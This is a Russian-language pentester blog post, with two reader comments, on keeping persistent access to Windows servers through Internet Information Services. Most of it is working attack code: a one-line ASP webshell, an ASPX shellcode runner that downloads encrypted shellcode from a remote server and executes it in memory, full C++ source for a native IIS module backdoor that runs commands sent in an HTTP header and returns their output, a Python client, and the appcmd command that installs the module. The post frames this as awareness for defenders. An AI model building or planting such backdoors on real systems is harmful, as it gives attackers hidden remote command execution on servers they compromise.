Всем добрый день! Меня зовут Михаил Жмайло, я пентестер в команде CICADA8 Центра инноваций МТС.
На проектах часто встречаются инстансы Internet Information Services (IIS). Это очень удобный инструмент, используемый в качестве сервера приложений. Но знаете ли вы, что даже простое развёртывание IIS может позволить злоумышленнику оставить бекдор в целевой среде?
В статье я покажу закрепление на системе, используя легитимный продукт Microsoft — Internet Information Services. Мы попрактикуемся в программировании на C++, изучим IIS Components и оставим бекдор через IIS Module.
Договоримся сразу: я рассказываю это всё не для того, чтобы вы пошли взламывать чужие системы, а чтобы вы знали, где могут оставить бекдор злоумышленники. Предупреждён — значит вооружён.
Введение
Во время проведения внутренних пентестов наша команда очень часто встречала стандартную заставку IIS. На одном проекте практически каждый компьютер имел это приложение. В тот же вечер я задался вопросом: «А что, если закрепиться на целевой системе и сохранить постоянный доступ к ней через IIS?».
К счастью, Windows даёт свободу действий разработчику: хочешь расширить возможности любой большой Enterprise-штуки? Да пожалуйста, вот тебе куча API!
Перед тем как создавать нашего монстра Франкенштейна, вспомним об уже известных способах закрепления на IIS.
Казино, блэкджек и шеллы
Издавна самым распространённым способом персиста (а в особых случаях и получением первоначального доступа) были веб-шеллы. Впрочем, из-за простоты, маленького веса и большой популярности появилось достаточно много способов обнаружить их появление на веб-сервере.
Кроме того, если не добавлять минимальнейший контроль доступа к веб-шеллу, то им сможет пользоваться любой желающий. Не очень круто, правда?
Наконец, кодировки. Возьмём стандартный веб-шелл .aspx. Загрузим в C:\inetpub\wwwroot
, поставим права через icacls, запустим.
Я знал, что требования к пентестерам высокие, но знания эльфийского никто не просил.
Конечно, есть и чуть более аккуратные варианты.
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
Ровно как и чуть более громоздкие. Например, ASPX шеллкод-раннер с подгрузкой пейлоада с удалённого сервера и последующей дешифровкой AES.
Как тебе такое, Илон Маск?
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>
<script runat="server">
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[ System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
// Keep this in mind when you view your decrypted content as the size will likely be different.
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
private byte[] GetArray(string url)
{
using (WebClient webClient = new WebClient())
{
string content = webClient.DownloadString(url);
byte[] byteArray = content.Split(',')
.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
.ToArray();
return byteArray;
}
}
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}
// Encrypted shellcode
byte[] Enc = GetArray("http://192.168.x.x/enc.txt");
// Key
byte[] Key = GetArray("http://192.168.x.x/key.txt");
// IV
byte[] Iv = GetArray("http://192.168.x.x/iv.txt");
// Decrypt our shellcode
byte[] e4qRS= Decrypt(Enc, Key, Iv);
// Allocate our memory buffer
IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy our decrypted shellcode ito the buffer
System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);
// Create a thread that contains our buffer
IntPtr aj5QpPE = IntPtr.Zero;
IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
}
</script>
<!DOCTYPE html>
<html>
<body>
<p>Check your listener...</p>
</body>
</html>
Существуют даже генераторы веб-шеллов. Сверху ко всему этому добавляется удовольствие для ценителей — перезапись web.config. Казалось бы, бери и не думай!
Но нет! Хочется чего-нибудь этакого: нового, необычного и достаточно скрытного, чтобы не каждый стажёр-защитник мог прогнать тебя со скомпрометированного хоста.
И такое решение нашлось.
IIS Components
Как я уже сказал, Microsoft позволяет расширять встроенную функциональность своих продуктов. До версии 7.0 в IIS были ISAPI Extensions и ISAPI Filters. Эти средства до сих пор доступны, но на смену им пришли IIS Handler и IIS Module соответственно.
IIS Handler позволяет обрабатывать полученный запрос на IIS и создавать ответ для различного типа контента. Например, существует хендлер в ASP.NET, позволяющий обрабатывать страницы ASPX (наши веб-шеллы в том числе).
IIS Module также участвует в обработке. IIS предоставляет ему полный и неограниченный доступ ко всем входящим и исходящим HTTP-запросам. Думаю, это наш кандидат. Сами модули можно разделить на два типа: Managed и Native. Managed — те, которые были написаны на C#, а Native — на C++. Список установленных модулей можно увидеть через стандартный диспетчер служб IIS.
Сам процесс закрепления аналогичен веб-шеллу: если идёт обращение по определённому эндпоинту с определёнными параметрами, то на системе выполняется команда.
Общий концепт
Я понимаю, как можно расширить функциональность в Windows. Всё основывается на написании собственной DLL-библиотеки с нужными методами. После её создания остаётся лишь зарегистрировать библиотеку в IIS и с помощью неё обрабатывать конкретные события, появляющиеся на сервере, например, получение нового HTTP-запроса.
Чтобы мы смогли зарегистрировать нашу библиотеку в IIS, она должна экспортировать функцию RegisterModule()
со следующим прототипом:
HRESULT __stdcall RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer
)
dwServerVersion
определяет версию сервера, на котором библиотека регистрируется. IHttpModuleRegistratioInfo
— это так называемый интерфейс. Для неискушённых отмечу, что интерфейс в ООП можно считать некоторым обязательством класса по реализации определённых методов. Отличный разбор можно посмотреть тут.
Таким образом, обращаясь к переменной pModuleInfo
(она будет идентифицировать наш модуль в IIS), мы можем извлечь имя текущего модуля с помощью GetName(), получить его ID через GetId(), но самое интересное (собственно, что нам и нужно) — подписаться на обработку определённых событий через SetRequestNotifications().
Ещё возможно установить приоритезацию, но она нам не особо интересна. Хотя если вы планируете писать высоконагруженный веб-шелл…
Впрочем, вернёмся к SetRequestNotifications()
.
virtual HRESULT SetRequestNotifications(
IN IHttpModuleFactory* pModuleFactory,
IN DWORD dwRequestNotifications,
IN DWORD dwPostRequestNotifications
) = 0;
Это так называемая **чисто виртуальная функция**. Её логика должна быть реализована в каком-то классе. В нашем случае вызвать эту функцию можно, обратившись к pModuleInfo
. Сама же функция принимает следующие аргументы:
pModuleFactory
— экземпляр класса, который будет удовлетворять интерфейсу IHttpModuleFactory. То есть мы просто должны создать класс, указать, что он унаследован от интерфейса, и реализовать в этом классе методы GetHttpModule и TerminatedwRequestNotifications
— битовая маска, идентифицирующая все события, на которые подписывается IIS Module. Нас интересуютRQ_SEND_RESPONSE
иRQ_BEGIN_REQUEST
. Весь список возможных событий можно найти тутdwPostRequestNotifications
— битовая маска, идентифицирующая все так называемые post-event-события. Эту маску удобно использовать для обработки чего-то, что уже произошло на IIS. Нас это значение не особо интересует, поэтому ставим 0
В случае успешной инициализации функция RegisterModule()
должна вернуть S_OK
.
Логичный вопрос: «Где же обрабатывать события?». И перед тем как на него ответить, нужно разобраться со всеми классами и фабриками.
Класс, фабрика, племя и бедный иудей
В функции SetRequestNotification()
нам следует первым параметром передать экземпляр класса, удовлетворяющего интерфейсу IHttpModuleFactory. Наш класс может быть каким угодно, главное, чтобы в нём была реализация двух методов: GetHttpModule()
и Terminate()
.
Например, назовём класс неочевидным именем CHttpModuleFactory
.
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
{
... здесь код ...
}
void Terminate()
{
delete this;
}
};
Метод GetHttpModule()
будет вызываться каждый раз, когда на IIS поступает запрос, обработка которого была зарегистрирована. Terminate()
будет вызываться в конце обработки запроса.
Внутри GetHttpModule()
наш класс должен создать экземпляр класса CHttpModule и вернуть адрес в переменную ppModule
. Именно класс CHttpModule
предоставляет функционал по обработке запросов на IIS, его определение представлено в стандартном заголовочном файле httpserv.h
.
Если глянем на функции OutputDebugString()
, то поймём, что мало создать экземпляр класса — мы должны предусмотреть реализацию метода для обработки конкретного события. Переопределить код существующего метода можно дочерним классом, назовём его CChildHttpModule
.
В самом классе пока пропишем только прототипы методов, которые будем переопределять. Но очень хорошая практика, на мой взгляд, вставлять код метода в .h
-файл — может возникнуть какая-нибудь LNK*-ошибка.
class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};
Внутри GetHttpModule()
предусмотрим код для создания экземпляра класса CChildHttpModule
.
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}
void Terminate()
{
delete this;
}
};
Если подвести черту, то только что описанные действия реализуют паттерн проектирования, называемый «фабрикой» (отсюда и всякие *Factory
в названиях интерфейсов). Этот паттерн позволяет создать объект (он и называется фабрикой) для создания других объектов. А затем, при обращении к фабрике, будут создаваться нужные объекты.
Вся логика работы теперь предельно ясна:
Регистрируем модуль в IIS.
IIS вызывает
RegisterModule()
.Подписываемся на нужные события, отдаём через
pModuleInfo->SetRequestNotifications()
указатель на экземпляр нашей фабрики.IIS при появлении запроса обратится к методу
GetHttpModule()
нашей фабрики.Создастся новый инстанс класса
CChildHttpModule()
.Вызовется нужный метод, соответствующий событию, с помощью этого инстанса класса. В нашем случае, если подписались на
RQ_SEND_RESPONSE
, то вызоветсяOnSendResponse()
.Внутри метода обрабатываем ответ веб-сервера.
Возвращаем из метода
RQ_NOTIFICATION_CONTINUE
. Это значение свидетельствует об успешном завершении функции по обработке.IIS запускает метод
Terminate()
.
Зачем обрабатывать ответ, если нужно запрос?
Логичнее было бы обрабатывать событие RQ_BEGIN_REQUEST
с вызовом метода OnBeginRequest(). Но как в этом случае получать вывод? Конечно, можно что-то там накодить на сокетах или оставить слепое выполнение команд, но это не очень удобно. Поэтому я использовал RQ_SEND_RESPONSE
. Тем более в методе OnSendResponse() через аргумент pHttpContext
благодаря IHttpContext интерфейсу можно получить доступ как к запросу, так и к ответу.
Логика работы нашего инструмента будет предельно проста: осуществляем парсинг полученного запроса, обнаруживаем желание атакующего выполнить команду на системе, выполняем команду, добавляем вывод команды к ответу IIS-сервера — успех!
Начинаем кодить
Итак, создаём пустой проект для написания библиотеки динамической компоновки в Visual Studio. В функцию DllMain ничего не добавляем, она нам не нужна. Реализуем RegisterModule()
.
#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"
CHttpModuleFactory* pFactory = NULL;
__declspec(dllexport) HRESULT __stdcall RegisterModule(
DWORD dwSrvVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer)
{
pFactory = new CHttpModuleFactory();
HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
return hr;
}
В этом коде мы объявляем функцию, экспортируемую из DLL. Далее внутри неё создаём экземпляр новой фабрики, который будет использоваться IIS для создания объектов класса CChildHttpModule
.
В заголовочном файле classes.h
реализуем прототипы классов CHttpModuleFactory
и CChildHttpModule
.
#pragma once
#include <Windows.h>
#include <httpserv.h>
class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);
void Terminate();
};
В файле classes.cpp
пишем логику методов этих классов.
#include "classes.h"
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
...
}
HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}
void CHttpModuleFactory::Terminate()
{
if (this != NULL)
{
delete this;
}
}
Дальше нужно понять, как мы хотим выполнять команду и видеть вывод. После этого решаем, как будем реализовывать функцию OnSendResponse()
.
Методы IHttp*-интерфейса
Для минимального POC предлагаю отсылать HTTP-пакет с заголовком X-Cmd-Command: <command>
. Так как наш IIS Module зарегистрирован для обработки RQ_SEND_RESPONSE
, то внутри IIS вызовется функция OnSendResponse()
. Прототип у неё вот такой:
virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(
IN IHttpContext* pHttpContext,
IN ISendResponseProvider* pProvider
);
Здесь нас интересует указатель pHttpContext
. Так как этот экземпляр реализует интерфейс IHttpContext, то мы можем использовать функции, определённые в этом интерфейсе.
Сначала нам следует извлечь полученный IIS запрос и отправляемый ответ. Это можно сделать с помощью методов pHttpContext->GetRequest() и pHttpContext->GetResponse().
В результате чего получим два экземпляра, соответствующих интерфейсу IHttpRequest и IHttpResponse.
Извлечь значение определённого заголовка позволяет метод GetHeader().
virtual PCSTR GetHeader(
IN PCSTR pszHeaderName,
OUT USHORT* pcchHeaderValue = NULL
) const = 0;
virtual PCSTR GetHeader(
IN HTTP_HEADER_ID ulHeaderIndex,
OUT USHORT* pcchHeaderValue = NULL
) const = 0;
Остаётся лишь извлечь значение, отдать в cmd.exe /c <command>
, после чего добавить результат выполнения к ответу веб-приложения. С первыми двумя шагами всё очевидно, GetHeader()
, CreateProcess()
с перенаправлением вывода в пайп, но как добавить результат выполнения команд?
Для этого используем метод SetHeader().
virtual HRESULT SetHeader(
IN PCSTR pszHeaderName,
IN PCSTR pszHeaderValue,
IN USHORT cchHeaderValue,
IN BOOL fReplace
) = 0;
virtual HRESULT SetHeader(
IN HTTP_HEADER_ID ulHeaderIndex,
IN PCSTR pszHeaderValue,
IN USHORT cchHeaderValue,
IN BOOL fReplace
) = 0;
Обратите внимание, что этот метод присутствует и у IHttpRequest
, но мы его вызываем по отношению к экземпляру IHttpResponse
(ведь мы же хотим включить результат выполнения команды в ответ, так ведь? :) ).
Результат исполнения команды вставляем в формате Base64.
Как дебажить это чудо
Ранее в статье я уже упоминал о прекрасной функции OutputDebugString()
. Её я буду использовать в том числе и в функции OnSendResponse()
. В случае Native IIS Module это единственный возможный более-менее высокоуровневый способ (из известных мне) отладки и отлова ошибок при разработке. OutputDebugString()
делает вот что:
если текущий процесс отлаживается, то текст прямиком отправляется в отладчик
иначе — вызывает стандартную функцию
OpenEvent()
и пытается открыть хендл на два именованных события. Одно с именемDBWIN_BUFFER_READY
, другое —DBWIN_DATA_READY
. Если одно из них или оба не найдены, то строка, переданная в функцию, просто очищаетсяесли события существуют, то идёт помещение строки в память путём вызова
OpenFileMapping()
с именемDBWIN_BUFFER
. Если этот маппинг не найден, то текст просто очищаетсянаконец, если все три объекта существуют,
OutputDebugString()
вызываетMapViewOfFile()
для создания маппинга, и строка появляется в памяти. Её оттуда можно считать
Для удобства можно воспользоваться, например, DebugView.
Вот пример двух программ, одна из которых получает строки, отправляемые другой с помощью функции Outputdebugstring()
:
#include <Windows.h>
#include <stdio.h>
#include <atltime.h>
int main() {
HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_BUFFER_READY");
HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_DATA_READY");
DWORD size = 1 << 12;
HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");
auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
0, 0, 0);
while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
INFINITE, FALSE)) {
SYSTEMTIME local;
::GetLocalTime(&local);
DWORD pid = *(DWORD*)buffer;
printf("%ws.%03d %6d: %s\n",
(PCWSTR)CTime(local).Format(L"%X"),
local.wMilliseconds, pid,
(const char*)(buffer + sizeof(DWORD)));
}
getchar();
return 0;
}
А вот программа, отправляющая строку:
#include <windows.h>
int main()
{
LPCWSTR str = (LPCWSTR)L"Hi!!!";
OutputDebugString(str);
return 0;
}
Вывод следующий:
Примерно так выглядит процесс отладки с помощью DebugView:
Написание финального POC
Итак, нам остаётся лишь корректно описать всё в методе OnSendResponse()
и получить работающий бекдор. Начнём с функций по кодированию. Будем использовать base64
, поэтому здесь всё просто. Так как функция SetHeader()
принимает LPCSTR, то наша функция EncodeBase64()
будет возвращать LPCSTR. Кодируемые данные будут лежать в BYTE-буфере, поэтому первым аргументом будет адрес буфера, вторым — его размер.
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) {
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = buffer[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
char* encodedString = new char[out.length() + 1];
std::memcpy(encodedString, out.data(), out.length());
encodedString[out.length()] = '\0';
return encodedString;
}
Расписывать принцип работы алгоритма, думаю, нет смысла, ведь это стандартный Base64.
Перейдём к самому сочному — обработке OnSendResponse()
. Я сначала предоставлю полный код функции, а затем мы его пошагово разберём.
REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
OutputDebugString(L"OnSendResponse IN");
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();
USHORT uComLen = 0;
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Command isn't null");
lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);
std::vector<BYTE> output;
if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"ExecuteCommand success");
if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Buffer is not empty");
LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
}
Во-первых, как и обещал, множество OutputDebugString()
. Это позволяет через DebugView отслеживать состояние модуля IIS.
Во-вторых, извлекаем из pHttpContext
экземпляр ответа и запроса.
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();
Затем через чтение заголовка X-Cmd-Command
получаем значение команды, которую следует исполнить.
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Command isn't null");
lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);
Обратите внимание, что заголовок я поместил в переменную HEADER
. Она определена в файле defs.h
. Это позволяет достаточно быстро и без особых проблем менять используемый заголовок.
Основная функциональность нашего бекдора — выполнение произвольных команд. Поэтому я создаю вектор с данными типа BYTE
. В этой переменной будет находиться результат выполнения команды.
std::vector<BYTE> output;
if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"ExecuteCommand success");
if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Buffer is not empty");
ExecuteCommand()
выглядит вот так.
DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hReadPipe, hWritePipe;
BOOL success = FALSE;
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
OutputDebugString(L"CreatePipe failed");
return -1;
}
ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
char cmdCommand[MAX_PATH];
snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);
if (!CreateProcessA(
NULL,
cmdCommand,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi)) {
OutputDebugString(L"CreateProcessA failed");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return -1;
}
OutputDebugString(L"CreateProcessA Success");
CloseHandle(hWritePipe);
outputBuffer.clear();
const DWORD tempBufferSize = 4096;
std::vector<BYTE> tempBuffer(tempBufferSize);
DWORD bytesRead;
while (true) {
if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
break;
outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
}
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
Матёрому безопаснику эта функция покажется донельзя простой. Первым делом создаём пайп для получения результата команды. Следующим шагом генерируем исполняемую команду (cmd.exe /c <command>
), после чего её выполняем. Результат выполнения упадёт в пайп, из которого мы считываем данные и помещаем их в наш вектор.
Процесс чтения также достаточно прост. Как только функция начинает завершаться с ошибкой либо данные перестают читаться, значит всё, конец чтения :)
После считывания всех данных в вектор кодируем его в Base64 и вставляем в ответ веб-сервера через метод SetHeader()
.
LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugStringA(b64Data);
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
}
Выполняем команды
Момент истины! Добиваемся выполнения команд. Для того чтобы отправлять запросы на заражённый IIS, напишем простенький скрипт на Python.
import requests
import argparse
import base64
parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()
url = args.host
headers = {
args.header: args.cmd
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
response_value = response.headers.get(args.header)
if response_value:
decoded_value = base64.b64decode(response_value.encode()).decode()
print(f"Значение заголовка {args.header} в ответе: {decoded_value}")
else:
print(f"Заголовок {args.header} отсутствует в ответе.")
else:
print(f"Ошибка: Не удалось соединиться с сервером. Статус код: {response.status_code}")
Скрипт принимает два необходимых и один опциональный параметр:
--host
— URL-адрес хоста, на котором расположен IIS--cmd
— команда для выполнения--header
— имя заголовка, через который отдаём команду и получаем вывод. ИспользуемX-Cmd-Command
, но если вы перекомпилируете проект с другим заголовком, то не забудьте указать новое значение
Перед тем как увидеть столь заветный результат, не забудьте зарегистрировать в IIS наш модуль. Делается одной простой командой:
C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true
Можно, конечно, установить через графический интерфейс, но это как-то не по-хакерски.
При успешной регистрации увидим в DebugView строку RegisterModule
.
Если мы просто зайдём на IIS и будем обновлять страницу, то ничего подозрительного не будет. Можем лишь видеть, как успешно логируется наше же сообщение о том, что никакой команды получено не было.
Запускаем наш Python-скрипт и видим успешное выполнение команды!
Success!
Заключение
Порой вполне стандартные и легитимные механизмы могут оказаться весьма полезными при проведении пентестов. Есть ещё очень много функциональности, которую можно добавить к этому проекту. Например, было бы отлично кодировать не только вывод, но и ввод. Чтобы в заголовке X-Cmd-Command
отдавалась команда в Base64. К счастью, получать значение заголовка мы научились. За вами — прикрутить функцию по декодированию из Base64. Все необходимые данные уже лежат в base64.cpp
. Дерзайте :)
Полный код проекта доступен на GitHub.
vesper-bot
Из серии "если мы получим на системе рута, мы может на ней поднять реверс-шелл", или я чего-то не понимаю? Кроме того, полученные права довольно невелики по сравнению с администратором хоста (хотя смотря что за креды у апп-пула, и не подняли ли поверх ииса windows auth, чтобы керберос-тикеты тырить). Но в качестве точки, куда ещё смотреть в поисках крыс, ценно.
MichelleVermishelle Автор
Здравствуйте!
Да, действительно, это один из методов закрепления, которым могут пользоваться злоумышленники для оставления своего, в том числе, реверс-шелла на конечной системе. Была задача найти что-нибудь интересное и любопытное, отличное от приевшейся всем автозагрузки и Scheduled Tasks))))
Кстати, про поиск крыс. Этот метод использовала малварь RGDoor для закрепления на своих жертвах. Ресерч можно прочитать тут.